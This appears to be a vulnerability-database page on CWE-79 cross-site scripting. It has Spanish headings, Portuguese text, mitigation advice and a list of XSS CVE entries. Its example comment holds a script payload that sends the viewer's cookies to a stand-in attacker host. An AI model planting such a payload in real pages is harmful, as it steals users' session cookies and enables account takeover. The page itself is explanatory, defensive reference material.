Fallos del tipo CWE-79

28.827 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-13418MEDIUMResponsive Pricing Table <= 5.1.12 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.7%CVE-2021-24134—Constant Contact Forms < 1.8.8 - Multiple Authenticated Stored XSSEPSS 0.7%CVE-2023-1030MEDIUMSourceCodester/code-projects Online Boat Reservation System POST Parameter login.php cross site scriptingEPSS 0.7%CVE-2024-1269LOWSourceCodester Product Management System supplier.php cross site scriptingEPSS 0.7%CVE-2022-24432MEDIUMICSA-22-062-01 IPCOMM ipDIOEPSS 0.7%CVE-2021-24963—LiteSpeed Cache < 4.4.4 - Admin+ Reflected Cross-Site ScriptingEPSS 0.7%CVE-2021-24127—ThirstyAffiliates < 3.9.3 - Authenticated Stored XSSEPSS 0.7%CVE-2025-41749HIGHReflected XSS vulnerability in port_util.phpEPSS 0.7%CVE-2021-39473MEDIUMSaibamen HotelManager v1.2 is vulnerable to Cross Site Scripting (XSS) due to improper sanitization of comment and contact fields.EPSS 0.7%CVE-2025-41745HIGHReflected XSS vulnerability in pxc_portCntr2.phpEPSS 0.7%CVE-2026-33303MEDIUMOpenEMR Vulnerable to Stored XSS via Unescaped portal_login_username in Credential Print ViewEPSS 0.7%CVE-2025-1983MEDIUMStored Cross-Site Scripting in Ready_EPSS 0.7%CVE-2023-27711MEDIUMCross Site Scripting vulnerability found in Typecho v.1.2.0 allows a remote attacker to execute arbitrary code via the Comment Manager /admiEPSS 0.7%CVE-2020-16218—Philips Patient Monitoring Devices Cross-site ScriptingEPSS 0.7%CVE-2022-3392MEDIUMWP Humans.txt <= 1.0.6 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2026-33299HIGHOpenEMR has Stored XSS in patient encounter Eye Exam form answersEPSS 0.7%CVE-2022-39800—SAP BusinessObjects BI LaunchPad - versions 420, 430, is susceptible to script execution attack by an unauthenticated attacker due to impropEPSS 0.7%CVE-2020-15083MEDIUMReflected XSS when uploading an image in the Product page in PrestaShopEPSS 0.7%CVE-2021-24330—Funnel Builder by CartFlows < 1.6.13 - Authenticated Stored XSS via FB Pixel ID and Google Analytics IDEPSS 0.7%CVE-2021-24331—Smooth Scroll Page Up/Down Buttons < 1.4 - Authenticated Stored XSSEPSS 0.7%